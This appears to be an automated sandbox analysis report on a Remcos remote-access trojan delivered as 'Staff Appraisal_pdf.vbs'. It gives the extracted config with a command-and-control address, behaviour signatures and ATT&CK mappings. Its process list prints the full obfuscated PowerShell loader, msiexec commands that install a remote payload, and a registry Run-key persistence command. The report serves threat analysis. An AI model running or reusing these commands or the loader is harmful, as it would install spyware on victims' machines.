Analysis
- max time kernel
149s - max time network
151s - platform
windows10-2004_x64 - resource
win10v2004-20260130-en - resource tags
- submitted
21/04/2026, 12:28
General
- Target Staff Appraisal_pdf.vbs
- Size 71KB
- Sample260421-pnf3baex3m
- SHA256 cfa65056a9accc2678480771e25891733787cf1f0ac46727e2663ca8383e3795
Malware Config
Extracted
-
remcos
-
7.2.3 Pro
-
RemoteHost
-
95.211.165.137:2404
-
audio_folder
MicRecords
-
audio_path
ApplicationPath
-
audio_record_time
5
-
connect_delay
0
-
connect_interval
1
-
copy_file
remcos.exe
-
copy_folder
Remcos
-
delete_file
false
-
hide_file
false
-
hide_keylog_file
false
-
install_flag
false
-
keylog_crypt
false
-
keylog_file
logs.dat
-
keylog_flag
false
-
keylog_folder
remcos
-
mouse_option
false
-
mutex
Rmc-BSQI5D
-
screenshot_crypt
false
-
screenshot_flag
false
-
screenshot_folder
Screenshots
-
screenshot_path
%AppData%
-
screenshot_time
10
-
take_screenshot_option
false
-
take_screenshot_time
5
Signatures
- Family: Remcos
Remcos is a closed-source remote control and surveillance software.
- Badlisted process makes network request 11 IoCs
Network request originating from process or tool commonly abused by malware.
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Use of msiexec (install) with remote resource 3 IoCs
- Adds Run key to start application 2 TTPs 1 IoCs
- Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Installer Packages 2 TTPs 3 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 4 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs
Adversaries may check for Internet connectivity on compromised systems.
- Runs ping.exe 1 TTPs 1 IoCs
- Suspicious behavior: EnumeratesProcesses 5 IoCs
- Suspicious behavior: MapViewOfSection 1 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 8 IoCs
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Staff Appraisal_pdf.vbs"1⤵
- Badlisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\ping.exeping Bera_6637.6637.6637.657e2⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "sv 'inapprehensive4';$kleskabets=4;$kbmandsgaard=55;function skindd ($feudalizingndbydenderugerstandard,$feudalizingndbydende) {$pag=gallstones('Famously Diasrammen bakteriebombe Majliss Sagos Upcoast UU [vvvviPPP,nUUUUtnnnn]ggg $TTTTfs,ssekkkkuc ccd- --auuu lV.VViJJJJzbbbbiHHHHn ???g^^^^n aaadpp,pbkkkkyXX Xd ***e HH n////dkkkke%%%%r####u ***g ccce vv rAAA,s OO,tlllla~~~~n ===dw,wwa,rrrr====d.mmm TTTT-F FFb,dddxS SSoL.LLrkkkk uuuu[yyyyi||||nL.LLthhhh] vvv$IIIIf::::e~~~~uT TTdzzzzaOO,OlcccciEEEEz%%%%iKKKKn****g% %%nEEEEdIIIIbNNNNygg gd ___eggggn < <dA AAeiiii ');Alvers ($pag)}function Alvers ($possessionalism) {&(($theologizer)) ($possessionalism)}function gallstones ($spied) { $feudalizing=$kleskabets+$kbmandsgaard; do {$reharm+=$spied[$feudalizing];$feudalizing+=5} until (!$spied[$feudalizing])$reharm}Function Romana238 ($spied,$roupiest60=0){$accompanyist=gallstones('Schenkelvigningerne Oomycetes Reconceptualising Genit K&&&&$<<<<s====c::::rTTTTi!! !p Z Zt ooo:vvvvuWWWWp VVVa hhha****v!!.!ippppsTTTTe CCClhhhhi wwwg %%%=<<<<[iii.CUU Uo') ;$accompanyist+=gallstones('Triphthongal Instinktets snedkre Tilsmil Fortrstning Gu____n^^^^v HHHeGGGGrWWWWt II]AAAA: ? ?:cc cFEEEErPPPPoPPPPm MMMBccc.ammmms^^^^eLLLL6YYYY4????S hhhtggg r =.=immmmn;;;;gYYYY( CC.$sssssRRRRpffffitttte .AAdll l)');Alvers ($accompanyist);For($feudalizing=0; $upaaviselig[$feudalizing] -ne $null; $feudalizing++){$upaaviselig[$feudalizing] = skindd $upaaviselig[$feudalizing] $varegrupper[$feudalizing%18]}Alvers (gallstones 'Swarmed Tudedes Caliphship Pleuropterygii terapiassiste----$oooosv vvc<<< rQQ Qifff.pTT Tt bbb:II.InaaaauqqqqlWWW lssssi.iiibiiiiiQQQQcCCCCi OOOtu uuywww =aaaa[ ,bbT :::e |||x jjjt%%%%.TTTTE ,<<nI IIcSSS.oq,qqd hhhi mmmnIIIIgWWWW] ===:zzzz:UUUUA### S****C lllIooo,IQQQQ.vvvvGqqqqeMMMMtllllS ,pptc,ccr^^^^ixx xn- --gYYYY(++++$????u////p :::a YYa+ ++vyyy i cccs;;;;eMMMMlWWWWioooogoooo)');if ($roupiest60) { Alvers $nullibicity}else {;$nullibicity}}$varegrupper=@(80,101,114,115,112,101,107,116,105,118,112,108,97,110,101,114,110,101);$theologizer=gallstones 'Sonograms Fabrikationer Patios Raastofindvindingerne su +++icccce****x';$natalities=Romana238 'ZUtCU1gyAhoNGQcfQSAxUl9VflVJUycMBUJdTVAUV1peUhwTalRGSl5VQlQuExMHDkFXQl9VYFRCQlAjAgYMEB8UTl9RS0BV';$tatarerne=Romana238 'OBEGAwNfRFsEEwQDFQMMHw8XPAwZXRMKBlodBF8bERgAFxwQI0o3HRQAHQYNHxUeDwsWXB4DPQ==';$elitetroppernes=Romana238 'bg==';$paritetsbit='\Ihukommendes.Juv';Romana238 'dAIeHBIEB04HGQYFFQcEBgtYdAAcBUoEGwQNFwQNSkoVExwMJAAGABIMHw==' 1;Romana238 'dAIeHBIEB04CHxwAFgsAFlNBJAQGEgIAGRoMWAMcDQcRWkoAPAwGFgQXBAQZEwICBB1M' 1;Romana238 'CysXB142DgYfHxMJMQEMHBooMQsTFBUXNk5TJRUPFBwMBhc1IgoGHBMKB0laRkde' 1;$tatarerne=$killweed[0];$vaporware=(Romana238 'dAIeHBIEB04PFx4YAB0MFAEWJAAAFgRYJREeWz8OCwsGBk4rNRFcJBUHKBgAEx4Y');Alvers ($vaporware);Romana238 'dAMTHQQEGB0PGQMYBBwABkAtNQQWFgIWMC8nEwRCKRoRAjwAIRAXAAQtDhUNEwIxVV44T0oLMRETHxkRAhEa' 1;$reeksporterings=Romana238 'FAoFHRwKChAvHxwJ';$futurumens=Romana238 'dAMTHQQEGB0PGQMYBBwABkBBIgAXGAMVBAYdEwIFDwkWXCcLJgoZFlhBHxUdFwIJEwAAXkoEJREdHx8CBAEaXw==';$autologous=$novitiate;Romana238 'dAIeHBIEB04CGR4YAAARFAEXMhcHFANYQyAMBQRBMQ8RGk5BMRAGHBwKDBscBVk=' 1;while (!$kontantforbrugs) {Romana238 'dAIeHBIEB047ExkBEQEXBgEJIlhWABMXCgQLGRcf' 1;Alvers $futurumens;Romana238 'AwkXFgBNX10=' 1;Romana238 'dAIeHBIEB04CGR4YAAARFAEXMhcHFANYQyAMBQRBMQ8RGk5BMRAGHBwKDBscBVk=' 1 ;Romana238 'dAIeHBIEB04FDxsHBBwMFgoAIgsXAE1BDBgGFBEAWwsGBgEGMRcCEhwAGF9CU1QHCAIJBQsANEsRHAULHw==' 1;$tatarerne=$killweed[$lykkeriddernes]}$florister=259911;$egnethed=20324;Romana238 'dAIeHBIEB04MFQQeDgkAHAcGbQIRU1QEHgAGGh8LDhsW' 1;Romana238 'dAIeHBIEB04LFxwZEhoXEwoAIlgpMB8LHREbAi1WWygXHQMnMRYXRUQ2HwYAGBdERQsGBhwKNwAcGhNM' 1;Romana238 'dAIeHBIEB04HExgeFFM+JgsdJEs3HRMKDx0HES1WWy82MScsfiIXByMRGR0HEVhIAw8JBx0RIgQWFgJM' 1;Romana238 'dAIeHBIEB04ZBB8aBAAQFxpYdAsXGwIQRQccFAMYEwcLFUZBNgkdARkWHxEbWlQJBgAABgYANEw=' 1;Alvers $provenuet;"2⤵
- Badlisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "sv 'inapprehensive4';$kleskabets=4;$kbmandsgaard=55;function skindd ($feudalizingndbydenderugerstandard,$feudalizingndbydende) {$pag=gallstones('Famously Diasrammen bakteriebombe Majliss Sagos Upcoast UU [vvvviPPP,nUUUUtnnnn]ggg $TTTTfs,ssekkkkuc ccd- --auuu lV.VViJJJJzbbbbiHHHHn ???g^^^^n aaadpp,pbkkkkyXX Xd ***e HH n////dkkkke%%%%r####u ***g ccce vv rAAA,s OO,tlllla~~~~n ===dw,wwa,rrrr====d.mmm TTTT-F FFb,dddxS SSoL.LLrkkkk uuuu[yyyyi||||nL.LLthhhh] vvv$IIIIf::::e~~~~uT TTdzzzzaOO,OlcccciEEEEz%%%%iKKKKn****g% %%nEEEEdIIIIbNNNNygg gd ___eggggn < <dA AAeiiii ');Alvers ($pag)}function Alvers ($possessionalism) {&(($theologizer)) ($possessionalism)}function gallstones ($spied) { $feudalizing=$kleskabets+$kbmandsgaard; do {$reharm+=$spied[$feudalizing];$feudalizing+=5} until (!$spied[$feudalizing])$reharm}Function Romana238 ($spied,$roupiest60=0){$accompanyist=gallstones('Schenkelvigningerne Oomycetes Reconceptualising Genit K&&&&$<<<<s====c::::rTTTTi!! !p Z Zt ooo:vvvvuWWWWp VVVa hhha****v!!.!ippppsTTTTe CCClhhhhi wwwg %%%=<<<<[iii.CUU Uo') ;$accompanyist+=gallstones('Triphthongal Instinktets snedkre Tilsmil Fortrstning Gu____n^^^^v HHHeGGGGrWWWWt II]AAAA: ? ?:cc cFEEEErPPPPoPPPPm MMMBccc.ammmms^^^^eLLLL6YYYY4????S hhhtggg r =.=immmmn;;;;gYYYY( CC.$sssssRRRRpffffitttte .AAdll l)');Alvers ($accompanyist);For($feudalizing=0; $upaaviselig[$feudalizing] -ne $null; $feudalizing++){$upaaviselig[$feudalizing] = skindd $upaaviselig[$feudalizing] $varegrupper[$feudalizing%18]}Alvers (gallstones 'Swarmed Tudedes Caliphship Pleuropterygii terapiassiste----$oooosv vvc<<< rQQ Qifff.pTT Tt bbb:II.InaaaauqqqqlWWW lssssi.iiibiiiiiQQQQcCCCCi OOOtu uuywww =aaaa[ ,bbT :::e |||x jjjt%%%%.TTTTE ,<<nI IIcSSS.oq,qqd hhhi mmmnIIIIgWWWW] ===:zzzz:UUUUA### S****C lllIooo,IQQQQ.vvvvGqqqqeMMMMtllllS ,pptc,ccr^^^^ixx xn- --gYYYY(++++$????u////p :::a YYa+ ++vyyy i cccs;;;;eMMMMlWWWWioooogoooo)');if ($roupiest60) { Alvers $nullibicity}else {;$nullibicity}}$varegrupper=@(80,101,114,115,112,101,107,116,105,118,112,108,97,110,101,114,110,101);$theologizer=gallstones 'Sonograms Fabrikationer Patios Raastofindvindingerne su +++icccce****x';$natalities=Romana238 'ZUtCU1gyAhoNGQcfQSAxUl9VflVJUycMBUJdTVAUV1peUhwTalRGSl5VQlQuExMHDkFXQl9VYFRCQlAjAgYMEB8UTl9RS0BV';$tatarerne=Romana238 'OBEGAwNfRFsEEwQDFQMMHw8XPAwZXRMKBlodBF8bERgAFxwQI0o3HRQAHQYNHxUeDwsWXB4DPQ==';$elitetroppernes=Romana238 'bg==';$paritetsbit='\Ihukommendes.Juv';Romana238 'dAIeHBIEB04HGQYFFQcEBgtYdAAcBUoEGwQNFwQNSkoVExwMJAAGABIMHw==' 1;Romana238 'dAIeHBIEB04CHxwAFgsAFlNBJAQGEgIAGRoMWAMcDQcRWkoAPAwGFgQXBAQZEwICBB1M' 1;Romana238 'CysXB142DgYfHxMJMQEMHBooMQsTFBUXNk5TJRUPFBwMBhc1IgoGHBMKB0laRkde' 1;$tatarerne=$killweed[0];$vaporware=(Romana238 'dAIeHBIEB04PFx4YAB0MFAEWJAAAFgRYJREeWz8OCwsGBk4rNRFcJBUHKBgAEx4Y');Alvers ($vaporware);Romana238 'dAMTHQQEGB0PGQMYBBwABkAtNQQWFgIWMC8nEwRCKRoRAjwAIRAXAAQtDhUNEwIxVV44T0oLMRETHxkRAhEa' 1;$reeksporterings=Romana238 'FAoFHRwKChAvHxwJ';$futurumens=Romana238 'dAMTHQQEGB0PGQMYBBwABkBBIgAXGAMVBAYdEwIFDwkWXCcLJgoZFlhBHxUdFwIJEwAAXkoEJREdHx8CBAEaXw==';$autologous=$novitiate;Romana238 'dAIeHBIEB04CGR4YAAARFAEXMhcHFANYQyAMBQRBMQ8RGk5BMRAGHBwKDBscBVk=' 1;while (!$kontantforbrugs) {Romana238 'dAIeHBIEB047ExkBEQEXBgEJIlhWABMXCgQLGRcf' 1;Alvers $futurumens;Romana238 'AwkXFgBNX10=' 1;Romana238 'dAIeHBIEB04CGR4YAAARFAEXMhcHFANYQyAMBQRBMQ8RGk5BMRAGHBwKDBscBVk=' 1 ;Romana238 'dAIeHBIEB04FDxsHBBwMFgoAIgsXAE1BDBgGFBEAWwsGBgEGMRcCEhwAGF9CU1QHCAIJBQsANEsRHAULHw==' 1;$tatarerne=$killweed[$lykkeriddernes]}$florister=259911;$egnethed=20324;Romana238 'dAIeHBIEB04MFQQeDgkAHAcGbQIRU1QEHgAGGh8LDhsW' 1;Romana238 'dAIeHBIEB04LFxwZEhoXEwoAIlgpMB8LHREbAi1WWygXHQMnMRYXRUQ2HwYAGBdERQsGBhwKNwAcGhNM' 1;Romana238 'dAIeHBIEB04HExgeFFM+JgsdJEs3HRMKDx0HES1WWy82MScsfiIXByMRGR0HEVhIAw8JBx0RIgQWFgJM' 1;Romana238 'dAIeHBIEB04ZBB8aBAAQFxpYdAsXGwIQRQccFAMYEwcLFUZBNgkdARkWHxEbWlQJBgAABgYANEw=' 1;Alvers $provenuet;"1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\msiexec.exe"C:\WINDOWS\syswow64\msiexec.exe" /i https://Schalburgtagers/Hjaktiv.msi2⤵
- Use of msiexec (install) with remote resource
- Event Triggered Execution: Installer Packages
-
-
C:\Windows\SysWOW64\msiexec.exe"C:\WINDOWS\syswow64\msiexec.exe" /i https://Schalburgtagers/Hjaktiv.msi2⤵
- Badlisted process makes network request
- Use of msiexec (install) with remote resource
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Event Triggered Execution: Installer Packages
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\msiexec.exe"C:\WINDOWS\syswow64\msiexec.exe" /i https://Schalburgtagers/Hjaktiv.msi3⤵
- Use of msiexec (install) with remote resource
- Event Triggered Execution: Installer Packages
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "Startup key" /t REG_EXPAND_SZ /d "%Chaussfnbrolgning% -windowstyle 2 $Snurrevodsspillene=(.'gp' 'HKCU:\Software\Joculator\').'Sprinkelvrkets';%Chaussfnbrolgning% ($Snurrevodsspillene)"3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "Startup key" /t REG_EXPAND_SZ /d "%Chaussfnbrolgning% -windowstyle 2 $Snurrevodsspillene=(.'gp' 'HKCU:\Software\Joculator\').'Sprinkelvrkets';%Chaussfnbrolgning% ($Snurrevodsspillene)"4⤵
- Adds Run key to start application
- System Location Discovery: System Language Discovery
-
-
-
Network
MITRE ATT&CK Enterprise v16
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Installer Packages
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Installer Packages
1Replay Monitor
Loading Replay Monitor...
Downloads
StartupProfileData-NonInteractive
__PSScriptPolicyTest_4b5ib10n.wdi.ps1
Ihukommendes.Juv
memory/924-72-0x0000000000E00000-0x0000000002054000-memory.dmp
memory/924-70-0x0000000000E00000-0x0000000002054000-memory.dmp
memory/924-68-0x0000000000E00000-0x0000000002054000-memory.dmp
memory/924-74-0x0000000000E00000-0x0000000002054000-memory.dmp
memory/924-66-0x0000000000E00000-0x0000000002054000-memory.dmp
memory/924-64-0x0000000000E00000-0x0000000002054000-memory.dmp
memory/924-62-0x0000000000E00000-0x0000000002054000-memory.dmp
memory/924-63-0x000000001DE10000-0x000000001DE16000-memory.dmp
memory/924-58-0x0000000000E00000-0x0000000002054000-memory.dmp
memory/924-56-0x0000000000E00000-0x0000000002054000-memory.dmp
memory/924-76-0x0000000000E00000-0x0000000002054000-memory.dmp
memory/1116-24-0x0000000002770000-0x00000000027A6000-memory.dmp
memory/1116-49-0x0000000007900000-0x0000000007907000-memory.dmp
memory/1116-28-0x0000000005FA0000-0x0000000006006000-memory.dmp
memory/1116-38-0x0000000006640000-0x000000000665E000-memory.dmp
memory/1116-39-0x0000000006680000-0x00000000066CC000-memory.dmp
memory/1116-40-0x0000000007FA0000-0x000000000861A000-memory.dmp
memory/1116-41-0x0000000006BA0000-0x0000000006BBA000-memory.dmp
memory/1116-42-0x0000000007920000-0x00000000079B6000-memory.dmp
memory/1116-43-0x0000000007850000-0x0000000007872000-memory.dmp
memory/1116-44-0x0000000008620000-0x0000000008BC4000-memory.dmp
memory/1116-27-0x0000000005270000-0x00000000052D6000-memory.dmp
memory/1116-46-0x0000000008BD0000-0x000000000ABBB000-memory.dmp
memory/1116-47-0x00000000027C0000-0x00000000027C6000-memory.dmp
memory/1116-36-0x0000000006050000-0x00000000063A4000-memory.dmp
memory/1116-48-0x0000000005970000-0x0000000005F23000-memory.dmp
memory/1116-26-0x00000000051D0000-0x00000000051F2000-memory.dmp
memory/1116-25-0x0000000005340000-0x0000000005968000-memory.dmp
memory/4684-0-0x000001F296E50000-0x000001F296E5C000-memory.dmp
memory/4684-6-0x000001F296E50000-0x000001F296E5C000-memory.dmp
memory/4684-7-0x000001F296F70000-0x000001F296FDB000-memory.dmp
memory/4684-1-0x000001F296F70000-0x000001F296FDB000-memory.dmp
memory/5380-23-0x000001CD2AA00000-0x000001CD2AA6B000-memory.dmp
memory/5380-22-0x000001CD12390000-0x000001CD1239C000-memory.dmp
memory/5380-15-0x000001CD2A9D0000-0x000001CD2A9F2000-memory.dmp
memory/5380-9-0x000001CD2AAB0000-0x000001CD2AAC0000-memory.dmp
memory/5380-8-0x000001CD2AAB0000-0x000001CD2AAC0000-memory.dmp